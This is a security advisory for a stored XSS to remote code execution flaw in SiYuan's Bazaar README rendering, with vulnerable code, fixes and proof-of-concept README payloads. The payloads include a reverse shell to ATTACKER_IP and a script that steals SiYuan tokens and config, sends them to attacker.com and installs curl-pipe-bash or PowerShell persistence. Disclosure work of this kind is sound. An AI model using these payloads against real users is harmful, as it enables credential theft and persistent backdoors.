GHSA-4663-4MPG-879V
SiYuan has Stored XSS to RCE via Unsanitized Bazaar README Rendering
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-4663-4MPG-879V divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Stored XSS to RCE via Unsanitized Bazaar README Rendering
Summary
SiYuan's Bazaar (community marketplace) renders package README content without HTML sanitization. The backend `renderREADME` function uses `lute.New()` without calling `SetSanitize(true)`, allowing raw HTML embedded in Markdown to pass through unmodified. The frontend then assigns the rendered HTML to `innerHTML` without any additional sanitization. A malicious package author can embed arbitrary JavaScript in their README that executes when a user clicks to view the package details. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution.
Affected Component
- README rendering (backend): `kernel/bazaar/package.go:635-645` (`renderREADME` function)
- README rendering (frontend): `app/src/config/bazaar.ts:607` (`innerHTML` assignment)
- Electron config: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)
Affected Versions
- SiYuan <= 3.5.9
-
## Severity
Critical — CVSS 9.6 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Note: This vector requires one click (user viewing the package README), unlike the metadata vector which is zero-click.
Vulnerable Code
Backend: `kernel/bazaar/package.go:635-645`
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
linkBase := "https://cdn.jsdelivr.net/gh/" + ...
luteEngine.SetLinkBase(linkBase)
ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in Markdown is PRESERVED
return
}Compare with SiYuan's own note renderer in `kernel/util/lute.go:81`, which does sanitize:
luteEngine.SetSanitize(true) // Notes ARE sanitized — but Bazaar README is NOTThis inconsistency demonstrates that the project is aware of the Lute sanitization API but failed to apply it to Bazaar content.
Frontend: `app/src/config/bazaar.ts:607`
fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
mdElement.innerHTML = response.data.html; // Unsanitized HTML injected into DOM
});The backend returns unsanitized HTML, and the frontend blindly assigns it to `innerHTML` without any client-side sanitization (e.g., DOMPurify).
Electron: `app/electron/main.js:422-426`
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
// ...
}Any JavaScript executing in the renderer has direct access to Node.js APIs.
Proof of Concept
Step 1: Create a malicious README
Create a GitHub repository with a valid SiYuan plugin/theme/template structure. The `README.md` contains embedded HTML:
# Helpful Productivity Plugin
This plugin helps you organize your notes with smart templates and AI-powered suggestions.
## Features
- Smart template insertion
- AI-powered note organization
- Cross-platform sync
<img src=x onerror="require('child_process').exec('calc.exe')">
## Installation
Install via the SiYuan Bazaar marketplace.
## License
MITThe raw `<img>` tag with `onerror` handler is valid Markdown (HTML passthrough). The Lute engine preserves it because `SetSanitize(true)` is not called. The frontend renders it via `innerHTML`, and the broken image triggers `onerror`, executing `calc.exe`.
Step 2: Submit to Bazaar
Submit the repository to the SiYuan Bazaar via the standard community contribution process.
Step 3: One-click RCE
When a SiYuan user browses the Bazaar, sees the package listing, and clicks on it to view the README/details, the unsanitized HTML renders in the detail panel. The `onerror` handler fires, executing arbitrary OS commands.
Escalation: Reverse shell
# Cool Theme for SiYuan
Beautiful dark theme with custom fonts.
<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"')">Escalation: Multi-stage payload via README
A more sophisticated attack can hide the payload deeper in the README to avoid casual review:
# Professional Note Templates
A comprehensive collection of note templates for professionals.
## Templates Included
| Category | Count | Description |
|----------|-------|-------------|
| Business | 15 | Meeting notes, project plans |
| Academic | 12 | Research notes, citations |
| Personal | 8 | Journal, habit tracking |
## Screenshots
<!-- Legitimate-looking image reference -->
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://attacker.com/dark.png">
<source media="(prefers-color-scheme: light)" srcset="https://attacker.com/light.png">
<img src="https://attacker.com/screenshot.png" alt="Template Preview" onload="
var c = require('child_process');
var o = require('os');
var f = require('fs');
var p = require('path');
// Exfiltrate sensitive data
var home = o.homedir();
var configDir = p.join(home, '.config', 'siyuan');
var data = {};
try { data.apiToken = f.readFileSync(p.join(configDir, 'cookie.key'), 'utf8'); } catch(e) {}
try { data.conf = JSON.parse(f.readFileSync(p.join(configDir, 'conf.json'), 'utf8')); } catch(e) {}
try { data.hostname = o.hostname(); data.user = o.userInfo().username; data.platform = o.platform(); } catch(e) {}
// Send to attacker
var https = require('https');
var payload = JSON.stringify(data);
var req = https.request({
hostname: 'attacker.com', port: 443, path: '/collect', method: 'POST',
headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
});
req.write(payload);
req.end();
// Drop persistence
if (o.platform() === 'win32') {
c.exec('schtasks /create /tn SiYuanSync /tr \"powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString(\\\"https://attacker.com/stage2.ps1\\\"))\" /sc onlogon /rl highest /f');
} else {
c.exec('(crontab -l 2>/dev/null; echo \"@reboot curl -s https://attacker.com/stage2.sh | bash\") | crontab -');
}
">
</picture>
## Changelog
- v1.0.0: Initial releaseThis payload:
1. Uses `onload` instead of `onerror` (fires on successful image load from attacker's server)
2. Exfiltrates SiYuan API token, config, hostname, username, and platform info
3. Installs cross-platform persistence (Windows scheduled task / Linux crontab)
4. Is buried inside a legitimate-looking `<picture>` element that blends with real README content
Escalation: SVG-based payload (bypasses naive img filtering)
## Architecture
<svg onload="require('child_process').exec('id > /tmp/pwned')">
<rect width="100" height="100" fill="blue"/>
</svg>Escalation: Details/summary element (interactive trigger)
## FAQ
<details ontoggle="require('child_process').exec('whoami > /tmp/pwned')" open>
<summary>How do I install this plugin?</summary>
Use the SiYuan Bazaar to install.
</details>The `open` attribute causes `ontoggle` to fire immediately without user interaction with the element itself.
Attack Scenario
- Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
- The README contains a well-crafted payload hidden within legitimate-looking content (e.g., inside a `<picture>` tag, `<details>` block, or `<svg>`).
- Attacker submits the package to the SiYuan Bazaar via the community contribution process.
- A SiYuan user browses the Bazaar and clicks on the package to view its details/README.
- The backend renders the README via `renderREADME()` without sanitization.
- The frontend assigns the HTML to `innerHTML`.
- The injected JavaScript executes with full Node.js access.
- The attacker achieves RCE — reverse shell, data theft, persistence, etc.
Impact
- Full remote code execution on any SiYuan desktop user who views the malicious package README
- One-click — triggered by viewing package details in the Bazaar
- Supply-chain attack via the official SiYuan community marketplace
- Payloads can be deeply hidden in legitimate-looking README content, making code review difficult
- Can steal API tokens, SiYuan configuration, SSH keys, browser credentials, and arbitrary files
- Can install persistent backdoors across Windows, macOS, and Linux
- Multiple HTML elements can carry payloads (`img`, `svg`, `details`, `picture`, `video`, `audio`, `iframe`, `object`, `embed`, `math`, etc.)
- Affects all platforms: Windows, macOS, Linux
Suggested Fix
1. Enable Lute sanitization for README rendering (`package.go`)
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New()
luteEngine.SetSanitize(true) // ADD THIS — matches note renderer behavior
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
linkBase := "https://cdn.jsdelivr.net/gh/" + ...
luteEngine.SetLinkBase(linkBase)
ret = luteEngine.Md2HTML(string(mdData))
return
}2. Add client-side sanitization as defense-in-depth (`bazaar.ts`)
import DOMPurify from 'dompurify';
fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
mdElement.innerHTML = DOMPurify.sanitize(response.data.html);
});3. Long-term: Harden Electron configuration
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/siyuan-note/siyuan/kernel |
Corregida | commit b382f50 | — | — |
commit b382f50Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-33066https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4663-4mpg-879vhttps://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428https://github.com/siyuan-note/siyuanLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
